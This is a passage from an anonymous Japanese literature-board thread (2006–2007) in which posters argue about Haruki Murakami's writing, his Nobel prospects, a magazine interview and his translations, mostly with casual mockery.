304 :吾輩は名無しである:2006/11/05(日) 10:14:00
「凍りそうな海」より「ぬるま湯町営温泉」のほうがいいよね。
「30000メートルプール 」は、あったら最高。

305 :吾輩は名無しである:2006/11/05(日) 18:52:20
大江もそうだけど、春樹も無理して
英語でスピーチする必要はないと思うんだけどな。
日本語で作品を書いてるんだからさ、日本語でスピーチすればいいのに。

306 :吾輩は名無しである:2006/11/06(月) 17:59:18
●カフカ賞受賞村上春樹が初めて発言した「ノーベル賞から憲法改正問題まで」

明日発売の「週刊朝日」11/17号にて、掲載されています。

307 :吾輩は名無しである:2006/11/08(水) 00:15:36
3日で読んだ『ノルウェイの森』だが、マジで糞つまらなかった。
本当に何の感銘も受けなかったよ。
1度も心動かされることがなかった。

こんなんがのもしノーベル獲ったら、
受賞してない大物たち(クンデラ、ヴァルガス・リョサ、デリーロ、
アップダイク、アーヴィング、ノーマン・メイラー)に失礼だな。

308 :吾輩は名無しである:2006/11/08(水) 11:14:12
「ノーベル賞から憲法改正問題まで」 って・・・・・  ワラ)
川上ひろみ並みだな


受賞する可能性もないのに馬鹿だな
タイトルは大江向きだしな

309 :吾輩は名無しである:2006/11/12(日) 21:20:47
...

310 :吾輩は名無しである:2006/11/14(火) 04:56:26
>>308
そんなの週刊誌側が決めたタイトルでしょうが。
それに別にノーベル賞が欲しいって言う記事内容ではないよ。

311 :吾輩は名無しである:2006/11/14(火) 19:17:04
にじみ出てるよ w

312 :吾輩は名無しである:2006/11/14(火) 20:43:47
でてねぇよ

313 :吾輩は名無しである:2006/11/15(水) 20:40:27
ハハハ !

314 :吾輩は名無しである:2006/11/15(水) 21:30:55
>>310
週刊誌側というより朝日新聞社出版局主導。
あのタイトルも記事も
「村上朝日堂」HPの丁稚イガラシこと五十嵐文生氏が書いたもの。
タイトルはまんま新聞の見出し調だが
内容は新刊ムック『ひとつ、村上さんでやってみるか』のPRのみ。
HPに読者から寄せられたメールに村上春樹が答える「形」で
それを本にした。ま、読者メールの何割が朝日の記者たちの手になるものか…
その辺は不明である。


315 :吾輩は名無しである:2006/11/17(金) 21:32:28
春樹を純文学だと言うのはミスチルをロックというような違和感がるけど、
まあ、別にカテゴリーなんか別に如何でもいいじゃないという気もする。


316 :吾輩は名無しである:2006/11/23(木) 07:31:10
それにしても平凡なことしかいえないなこいつは

317 :吾輩は名無しである:2006/11/24(金) 09:42:34
平凡なおっさん 春樹

318 :吾輩は名無しである:2006/11/24(金) 11:30:17
最近、スヌーピーの漫画読んでるが、ハイソな会話はとても春樹君は
敵わないな・・・
スヌーピー、かなりの上手w

319 :吾輩は名無しである:2006/11/27(月) 22:36:03
>>273
見たかったのに消えてる・・・

320 :吾輩は名無しである:2006/11/29(水) 13:08:18
>>1>>319、安原顯か?おまえらは

321 :吾輩は名無しである:2006/11/29(水) 13:39:52
結局、春樹でも日本人的な湿っぽさは残ってるんだよ。
アメリカはポー、O.ヘンリー、ヘミングウェイ、サリンジャーと、ずっとクールだった。
ただ、最近はニルヴァーナのグランジロック辺りからアメリカが一番湿っぽい気配がするけど。

322 :吾輩は名無しである:2006/11/29(水) 23:25:05
日本人的な湿っぽさが
あまりの通俗さ・単純さとケコーンしたとき

大衆ベストセラーの出来上がりだよ

323 :吾輩は名無しである:2006/11/29(水) 23:52:20
奇をてらってるから、芸術ってわけでも、高度ってわけでもないと思うのだが。

324 :吾輩は名無しである:2006/12/05(火) 11:08:58
あげえええええ

325 :吾輩は名無しである:2006/12/05(火) 12:20:00
高尚っ「ぽい」よね。意味なくトルストイとか出てくるし
ふだん本を読まない椰子は賢くなった気分がするだろう。

326 :吾輩は名無しである:2006/12/05(火) 14:23:26
高尚っ「ぽい」と見せかけることによってそれに騙される人を蔑むという奴にはった罠のことか?

327 :吾輩は名無しである:2006/12/06(水) 00:58:25
つまりマクドナルドが「オートゥイユ産バフォンフォアグラ添え木いちごソース」バーガー
を出して大衆に売りつけるみたいな w
大衆が「これこそが食べ物です!」みたいな w


電通糞レベル

328 :吾輩は名無しである:2006/12/06(水) 01:21:08
 ギッツビーは小説としては標準的でそれほど難解なわけではない。他に難解なものなぞいくら
でもある。

 だがハルキファンというのは、ギャッビーレベルでも「とっつきが悪いが極めて優れているのだ。
もう少し踏み込んでいえばそれなりの読解力があってはじめてその真価が理解されうるという類い
の文章なのである。私も後数度読んではじめてもっと作品の良さを味わうことができるのだろうな、
と痛感。」「についての知識があったら、この小説をもっと深く理解することができたかもしれま
せん。 」「この作品の本質というか、全体的な「これはこういうことだ!」という感想が抱けな
い」というようなひとたちなのである。

 それが村上の、誇張され裏も表も左右もなくなるほどタンジュンカされ、ごくわかりやすい
本を読んで「わかったー !!!」「これだー。」とオットセイの群れのごとく吠えているという
情景は、かえってその真空の深さを示していて不気味である。

329 :吾輩は名無しである:2006/12/06(水) 19:49:35
逆に読解力のなさを作品の所為にしている情景も
村上ファンの傾向でもあるな。

330 :のびーるバナナ:2006/12/13(水) 11:47:05
http://f12.aaa.livedoor.jp/~itatisa/phpup/cgi/src/up1151.jpg

331 :吾輩は名無しである:2006/12/16(土) 13:20:43
「日本軍はキチガイだと思ったから『ねじまき鳥〜』を書いた」 村上春樹氏が正しい解釈を語る
http://news20.2ch.net/test/read.cgi/news/1166190736/

332 :吾輩は名無しである:2006/12/19(火) 17:24:36
うぷ

333 :吾輩は名無しである:2006/12/24(日) 03:16:17
地元が神戸なので、短編とか読んでると「あぁ、この話はあそこのことだろうな」と
思うことがたまーにあるけど、目の付け所はさすがに鋭い!と思う事が多い。
でも、その鋭さ故にただの描写からも無駄に(と言ったらなんだが)深みを感じてしまっている部分もあると思う。
それが読後の「浅いようで深い」不思議な感覚(しない?)の要素の一つになっている気がする。
そこが人気なのかもしれんが。
だから人によっては「ウソっぽさ」と感じる人もいるんだろうな。と勝手に思ってるんですけど、どうですか。

334 :吾輩は名無しである:2006/12/24(日) 08:55:49
キモイ

335 :吾輩は名無しである:2006/12/27(水) 23:37:41
文学板なのにキモイはねーよ。

336 :吾輩は名無しである:2007/01/02(火) 14:33:53
あげろ

337 :吾輩は名無しである:2007/01/08(月) 11:44:34
村上訳の『ライ麦畑でつかまえて』を読んだが、あれは翻訳というより、サリンジャーが書いた小説を村上が書き直した物だ。

338 :吾輩は名無しである:2007/01/09(火) 23:39:01
ギャツピー読み中だお

339 :吾輩は名無しである:2007/01/10(水) 00:36:11
>>337
原文まともに読めるのかよ! タコがwww


340 :吾輩は名無しである:2007/01/10(水) 06:43:10
ん?読めるから言ってるんじゃないの?

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